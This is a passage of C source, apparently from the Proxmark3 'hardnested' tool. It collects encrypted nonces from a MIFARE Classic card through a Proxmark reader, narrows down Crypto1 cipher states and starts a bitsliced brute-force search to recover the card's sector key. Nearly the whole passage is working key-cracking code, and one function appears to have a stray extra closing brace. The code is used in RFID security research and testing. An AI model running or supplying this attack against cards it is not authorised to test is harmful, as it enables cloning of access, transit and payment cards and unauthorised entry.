                //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
                total_added_nonces += add_nonce(nt_enc, par_enc);
                total_num_nonces++;
                
                if (first_byte_num == 256 ) {
                        // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
                        if (!filter_flip_checked) {
                                Check_for_FilterFlipProperties();
                                filter_flip_checked = true;
                        }
                        num_good_first_bytes = estimate_second_byte_sum();
                        if (total_num_nonces > next_fivehundred) {
                                next_fivehundred = (total_num_nonces/500+1) * 500;
                                printf("Acquired %5d nonces (%5d with distinct bytes 0,1). Bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
                                        total_num_nonces,
                                        total_added_nonces,
                                        CONFIDENCE_THRESHOLD * 100.0,
                                        num_good_first_bytes);
                        }
                }

        } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
        
        time1 = clock() - time1;
        if ( time1 > 0 ) {
        PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)", 
                total_num_nonces, 
                ((float)time1)/CLOCKS_PER_SEC, 
                total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
        }
        fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
                
}

static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
{
        clock_t time1 = clock();
        bool initialize = true;
        bool finished = false;
        bool filter_flip_checked = false;
        uint32_t flags = 0;
        uint8_t write_buf[9];
        uint32_t total_num_nonces = 0;
        uint32_t next_fivehundred = 500;
        uint32_t total_added_nonces = 0;
        uint32_t idx = 1;
        uint32_t timeout  = 0;
        FILE *fnonces = NULL;
        field_off = false;
        UsbCommand resp;
        UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {0,0,0} };
        memcpy(c.d.asBytes, key, 6);    
        c.arg[0] = blockNo + (keyType * 0x100);
        c.arg[1] = trgBlockNo + (trgKeyType * 0x100);
                
        printf("Acquiring nonces...\n");
        do {
        
                flags = 0;
                flags |= initialize ? 0x0001 : 0;
                flags |= slow ? 0x0002 : 0;
                flags |= field_off ? 0x0004 : 0;
                c.arg[2] = flags;

                clearCommandBuffer();
                SendCommand(&c);
                
                if (field_off) break;

                while(!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
                        timeout++;
                        printf(".");
                        if (timeout > 3) {
                                PrintAndLog("\nNo response from Proxmark. Aborting...");
                                if (fnonces) fclose(fnonces);
                                return 1;
                        }
                }               

                if (resp.arg[0]) {
                        if (fnonces) fclose(fnonces);
                        return resp.arg[0];  // error during nested_hard
                }
                        
                if (initialize) {
                        // global var CUID
                        cuid = resp.arg[1];
                        if (nonce_file_write && fnonces == NULL) {
                                if ((fnonces = fopen("nonces.bin","wb")) == NULL) { 
                                        PrintAndLog("Could not create file nonces.bin");
                                        return 3;
                                }
                                PrintAndLog("Writing acquired nonces to binary file nonces.bin");
                                memset (write_buf, 0, sizeof (write_buf));
                                num_to_bytes(cuid, 4, write_buf);
                                fwrite(write_buf, 1, 4, fnonces);
                                fwrite(&trgBlockNo, 1, 1, fnonces);
                                fwrite(&trgKeyType, 1, 1, fnonces);
                                fflush(fnonces);
                        }
                        initialize = false;                     
                }
                
                uint32_t nt_enc1, nt_enc2;
                uint8_t par_enc;
                uint16_t num_acquired_nonces = resp.arg[2];
                uint8_t *bufp = resp.d.asBytes;
                for (uint16_t i = 0; i < num_acquired_nonces; i += 2) {
                        nt_enc1 = bytes_to_num(bufp, 4);
                        nt_enc2 = bytes_to_num(bufp+4, 4);
                        par_enc = bytes_to_num(bufp+8, 1);
                        
                        total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
                        total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
                        
                        if (nonce_file_write && fnonces) {
                                fwrite(bufp, 1, 9, fnonces);
                                fflush(fnonces);
                        }
                        bufp += 9;
                }
                total_num_nonces += num_acquired_nonces;

                if (first_byte_num == 256) {

                        if (!filter_flip_checked) {
                                Check_for_FilterFlipProperties();
                                filter_flip_checked = true;
                        }

                        num_good_first_bytes = estimate_second_byte_sum();

                        if (total_num_nonces > next_fivehundred) {
                                next_fivehundred = (total_num_nonces/500+1) * 500;
                                printf("Acquired %5d nonces (%5d/%5d with distinct bytes 0,1). Bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
                                        total_num_nonces,
                                        total_added_nonces,
                                        NONCES_THRESHOLD * idx,
                                        CONFIDENCE_THRESHOLD * 100.0,
                                        num_good_first_bytes
                                        );                              
                        }
                        
                        if (total_added_nonces >= (NONCES_THRESHOLD * idx)) {
                                if (num_good_first_bytes > 0) {
                                        if (generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess) || known_target_key != -1) {
                                                field_off = brute_force(); // switch off field with next SendCommand and then finish
                                        }
                                }
                                idx++;
                        }
                }
        } while (!finished);

        if (nonce_file_write && fnonces)
                fclose(fnonces);
        
        time1 = clock() - time1;
        if ( time1 > 0 ) {
                PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)", 
                        total_num_nonces, 
                        ((float)time1)/CLOCKS_PER_SEC, 
                        total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
                );
        }
        return 0;
}

static int init_partial_statelists(void)
{
        const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
//      const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
        const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73357, 0, 18127, 0, 126635 };
        
        printf("Allocating memory for partial statelists...\n");
        for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
                for (uint16_t i = 0; i <= 16; i+=2) {
                        partial_statelist[i].len[odd_even] = 0;
                        uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
                        partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);  
                        if (partial_statelist[i].states[odd_even] == NULL) {
                                PrintAndLog("Cannot allocate enough memory. Aborting");
                                return 4;
                        }
                        for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
                                partial_statelist[i].index[odd_even][j] = NULL;
                        }
                }
        }
                
        printf("Generating partial statelists...\n");
        for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
                uint32_t index = -1;
                uint32_t num_of_states = 1<<20;
                for (uint32_t state = 0; state < num_of_states; state++) {
                        uint16_t sum_property = PartialSumProperty(state, odd_even);
                        uint32_t *p = partial_statelist[sum_property].states[odd_even];
                        p += partial_statelist[sum_property].len[odd_even];
                        *p = state;
                        partial_statelist[sum_property].len[odd_even]++;
                        uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
                        if ((state & index_mask) != index) {
                                index = state & index_mask;
                        }
                        if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
                                partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
                        }
                }
                // add End Of List markers
                for (uint16_t i = 0; i <= 16; i += 2) {
                        uint32_t *p = partial_statelist[i].states[odd_even];
                        p += partial_statelist[i].len[odd_even];
                        *p = END_OF_LIST_MARKER;
                }
        }
        
        return 0;
}       

static void init_BitFlip_statelist(void)
{
        printf("Generating bitflip statelist...\n");
        uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
        uint32_t index = -1;
        uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
        for (uint32_t state = 0; state < (1 << 20); state++) {
                if (filter(state) != filter(state^1)) {
                        if ((state & index_mask) != index) {
                                index = state & index_mask;
                        }
                        if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
                                statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
                        }
                        *p++ = state;
                }
        }
        // set len and add End Of List marker
        statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
        *p = END_OF_LIST_MARKER;
        //statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
}
                
static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
{
        uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)];                // first Bits as index

        if (p == NULL) return NULL;
        while (*p < (state & mask)) p++;
        if (*p == END_OF_LIST_MARKER) return NULL;                                      // reached end of list, no match
        if ((*p & mask) == (state & mask)) return p;            // found a match.
        return NULL;                                                                            // no match
} 

static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
{
        uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
        uint_fast8_t bit_diff = byte_diff & j_1_bit_mask;                                                                               // difference of (j-1)th bit
        uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit));   // difference in filter function
        uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
        uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13;                                                // difference in state bits 12 and 13
        uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff);                  // use parity function to XOR all bits
        return !all_diff;
}

static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
{
        uint_fast8_t j_bit_mask = 0x01 << bit;
        uint_fast8_t bit_diff = byte_diff & j_bit_mask;                                                                                 // difference of jth bit
        uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
        uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16;                                                // difference in state bits 13 and 16
        uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff);                                                // use parity function to XOR all bits
        return all_diff;
}

static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
{
        if (odd_even) {
                // odd bits
                switch (num_common_bits) {
                        case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
                        case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
                        case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
                        case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
                        case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
                        case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
                        case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
                        case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
                }
        } else {
                // even bits
                switch (num_common_bits) {      
                        case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
                        case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
                        case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
                        case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
                        case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
                        case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
                        case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
                }
        } 
        
        return true;                                    // valid state
}

static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even) 
{
        for (uint16_t i = 1; i < num_good_first_bytes; i++) {
                uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
                uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
                uint_fast8_t j = common_bits(bytes_diff);
                uint32_t mask = 0xfffffff0;
                if (odd_even == ODD_STATE) {
                        mask >>= j/2;
                } else {
                        mask >>= (j+1)/2;
                }
                mask &= 0x000fffff;
                //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
                bool found_match = false;
                for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
                        for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
                                if (r*(16-s) + (16-r)*s == sum_a8) {
                                        //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
                                        uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
                                        uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
                                        if (p != NULL) {
                                                while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
                                                        if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
                                                                found_match = true;
                                                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                                                        // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                                                // }
                                                                break;
                                                        } else {
                                                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                                                        // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                                                // }
                                                        }
                                                        p++;
                                                }       
                                        } else {
                                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                                        // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                                // }
                                        }               
                                }
                        }
                }

                if (!found_match) {
                        // if ((odd_even == ODD_STATE && state == test_state_odd)
                                // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
                        // }
                        return false;
                }
        }       

        return true;
}

static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even) 
{
        for (uint16_t i = 0; i < 256; i++) {
                if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
                        uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
                        uint_fast8_t j = common_bits(bytes_diff);
                        uint32_t mask = 0xfffffff0;
                        if (odd_even == ODD_STATE) {
                                mask >>= j/2;
                        } else {
                                mask >>= (j+1)/2;
                        }
                        mask &= 0x000fffff;
                        //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
                        bool found_match = false;
                        uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
                        if (p != NULL) {
                                while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
                                        if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
                                                found_match = true;
                                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                                        // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                                // }
                                                break;
                                        } else {
                                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                                        // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                                // }
                                        }
                                        p++;
                                }       
                        } else {
                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                        // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", 
                                                // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
                                // }
                        }               
                        if (!found_match) {
                                // if ((odd_even == ODD_STATE && state == test_state_odd)
                                        // || (odd_even == EVEN_STATE && state == test_state_even)) {
                                        // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
                                // }
                                return false;
                        }
                }

        }
        
        return true;
}

static struct sl_cache_entry {
        uint32_t *sl;
        uint32_t len;
        } sl_cache[17][17][2];

static void init_statelist_cache(void)
{
        for (uint16_t i = 0; i < 17; i+=2) {
                for (uint16_t j = 0; j < 17; j+=2) {
                        for (uint16_t k = 0; k < 2; k++) {
                                sl_cache[i][j][k].sl = NULL;
                                sl_cache[i][j][k].len = 0;
                        }
                }
        }               
}

static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
{
        uint32_t worstcase_size = 1<<20;
        
        // check cache for existing results
        if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
                candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
                candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
                return 0;
        }
        
        candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
        if (candidates->states[odd_even] == NULL) {
                PrintAndLog("Out of memory error.\n");
                return 4;
        }
        uint32_t *add_p = candidates->states[odd_even]; 
        for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != END_OF_LIST_MARKER; p1++) {
                uint32_t search_mask = 0x000ffff0;
                uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
                if (p1 != NULL && p2 != NULL) {
                        while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != END_OF_LIST_MARKER) {
                                if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
                                        || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
                                if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
                                        if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) { 
                                                        *add_p++ = (*p1 << 4) | *p2;
                                                }
                                }
                                }
                                p2++;
                        }
                }
        }

        // set end of list marker and len
        *add_p = END_OF_LIST_MARKER; 
        candidates->len[odd_even] = add_p - candidates->states[odd_even];

        candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));

        sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
        sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];

        return 0;
}

static statelist_t *add_more_candidates(statelist_t *current_candidates)
{
        statelist_t *new_candidates = NULL;
        if (current_candidates == NULL) {
                if (candidates == NULL) {
                        candidates = (statelist_t *)malloc(sizeof(statelist_t));
                }
                new_candidates = candidates;
        } else {
                new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
        }
        if (!new_candidates) return NULL;

        new_candidates->next = NULL;
        new_candidates->len[ODD_STATE] = 0;
        new_candidates->len[EVEN_STATE] = 0;
        new_candidates->states[ODD_STATE] = NULL;
        new_candidates->states[EVEN_STATE] = NULL;
        return new_candidates;
}

static bool TestIfKeyExists(uint64_t key)
{
        struct Crypto1State *pcs;
        pcs = crypto1_create(key);
        crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);

        uint32_t state_odd = pcs->odd & 0x00ffffff;
        uint32_t state_even = pcs->even & 0x00ffffff;
        //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
        printf("Validating key search space\n");
        uint64_t count = 0;
        for (statelist_t *p = candidates; p != NULL; p = p->next) {
                bool found_odd = false;
                bool found_even = false;
                uint32_t *p_odd = p->states[ODD_STATE];
                uint32_t *p_even = p->states[EVEN_STATE];
                while (*p_odd != END_OF_LIST_MARKER) {
                        if ((*p_odd & 0x00ffffff) == state_odd) {
                                found_odd = true;
                                break;
                        }
                        p_odd++;
                }
                while (*p_even != END_OF_LIST_MARKER) {
                        if ((*p_even & 0x00ffffff) == state_even)
                                found_even = true;

                        p_even++;
                }
                count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
                if (found_odd && found_even) {
                        if (known_target_key != -1) {
                                PrintAndLog("Key Found after testing %llu (2^%1.1f) out of %lld (2^%1.1f) keys.", 
                                        count,
                                        log(count)/log(2), 
                                        maximum_states,
                                        log(maximum_states)/log(2)
                                        );
                                if (write_stats)
                                        fprintf(fstats, "1\n");                 
                        }
                        crypto1_destroy(pcs);
                        return true;
                }
        }

        if (known_target_key != -1) {
                printf("Key NOT found!\n");
                if (write_stats)
                        fprintf(fstats, "0\n");
        }
        crypto1_destroy(pcs);
        return false;
}

static bool generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
{
        printf("Generating crypto1 state candidates... \n");
        
        statelist_t *current_candidates = NULL;
        // estimate maximum candidate states
        maximum_states = 0;
        for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
                for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
                        if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
                                maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
                        }
                }
        }

        if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)

        printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2));
        
        init_statelist_cache();
        
        for (uint16_t p = 0; p <= 16; p += 2) {
                for (uint16_t q = 0; q <= 16; q += 2) {
                        if (p*(16-q) + (16-p)*q == sum_a0) {
                                // printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n", 
                                                // p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
                                for (uint16_t r = 0; r <= 16; r += 2) {
                                        for (uint16_t s = 0; s <= 16; s += 2) {
                                                if (r*(16-s) + (16-r)*s == sum_a8) {
                                                        current_candidates = add_more_candidates(current_candidates);
                                                        if (current_candidates != NULL) {
                                                        // check for the smallest partial statelist. Try this first - it might give 0 candidates 
                                                        // and eliminate the need to calculate the other part
                                                        if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE]) 
                                                                        < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) { 
                                                                add_matching_states(current_candidates, p, r, ODD_STATE);
                                                                if(current_candidates->len[ODD_STATE]) {
                                                                        add_matching_states(current_candidates, q, s, EVEN_STATE);
                                                                } else {
                                                                        current_candidates->len[EVEN_STATE] = 0;
                                                                        uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
                                                                        *p = END_OF_LIST_MARKER;
                                                                }
                                                        } else {
                                                                add_matching_states(current_candidates, q, s, EVEN_STATE);
                                                                if(current_candidates->len[EVEN_STATE]) {
                                                                        add_matching_states(current_candidates, p, r, ODD_STATE);
                                                                } else {
                                                                        current_candidates->len[ODD_STATE] = 0;
                                                                        uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
                                                                        *p = END_OF_LIST_MARKER;
                                                                }
                                                        }
                                                        //printf("Odd  state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); 
                                                        //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2)); 
                                                }
                                        }
                                }
                        }
                }
        }                                       
        }                                       

        maximum_states = 0;
        unsigned int n = 0;
        for (statelist_t *sl = candidates; sl != NULL && n < MAX_BUCKETS; sl = sl->next, n++) {
                maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
        }

        if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)

        float kcalc = log(maximum_states)/log(2);
        printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, kcalc);
        if (write_stats) {
                fprintf(fstats, "%1.1f;", (kcalc != 0) ? kcalc : 0.0);
        }
        if (kcalc < CRACKING_THRESHOLD) return true;

        return false;
}

static void free_candidates_memory(statelist_t *sl)
{
        if (sl == NULL) {
                return;
        } else {
                free_candidates_memory(sl->next);
                free(sl);
        }
}

static void free_statelist_cache(void)
{
        for (uint16_t i = 0; i < 17; i+=2) {
                for (uint16_t j = 0; j < 17; j+=2) {
                        for (uint16_t k = 0; k < 2; k++) {
                                free(sl_cache[i][j][k].sl);
                        }
                }
        }               
}

static const uint64_t crack_states_bitsliced(statelist_t *p){
    // the idea to roll back the half-states before combining them was suggested/explained to me by bla
    // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
    uint64_t key = -1;
        uint8_t bSize = sizeof(bitslice_t);

#ifdef EXACT_COUNT
    size_t bucket_states_tested = 0;
    size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
#else
    const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
#endif

    bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
    size_t bitsliced_blocks = 0;
    uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
        
    // bitslice all the even states
    for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){

#ifdef __WIN32
        #ifdef __MINGW32__
                bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
        #else           
                bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
        #endif
#else
        #ifdef __APPLE__
                bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
        #else
                bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
        #endif
#endif

                if ( !lstate_p )        {
                        __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
                        return key;
                }
                                
                memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
                
                // bitslice even half-states
        const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
#ifdef EXACT_COUNT
        bucket_size[bitsliced_blocks] = max_slices;
#endif
        for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
            uint32_t e = *(p_even+slice_idx);
            for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
                // set even bits
                if(e&1){
                    lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
                }
            }
        }
        // compute the rollback bits
        for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
            // inlined crypto1_bs_lfsr_rollback
            const bitslice_value_t feedout = lstate_p[0].value;
            ++lstate_p;
            const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
            const bitslice_value_t feedback = (feedout ^ ks_bits     ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
                                               lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
                                               lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
                                               lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
                                               lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
                                               lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
            lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
        }
        bitsliced_even_states[bitsliced_blocks++] = lstate_p;
    }

    // bitslice every odd state to every block of even half-states with half-finished rollback
    for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
        // early abort
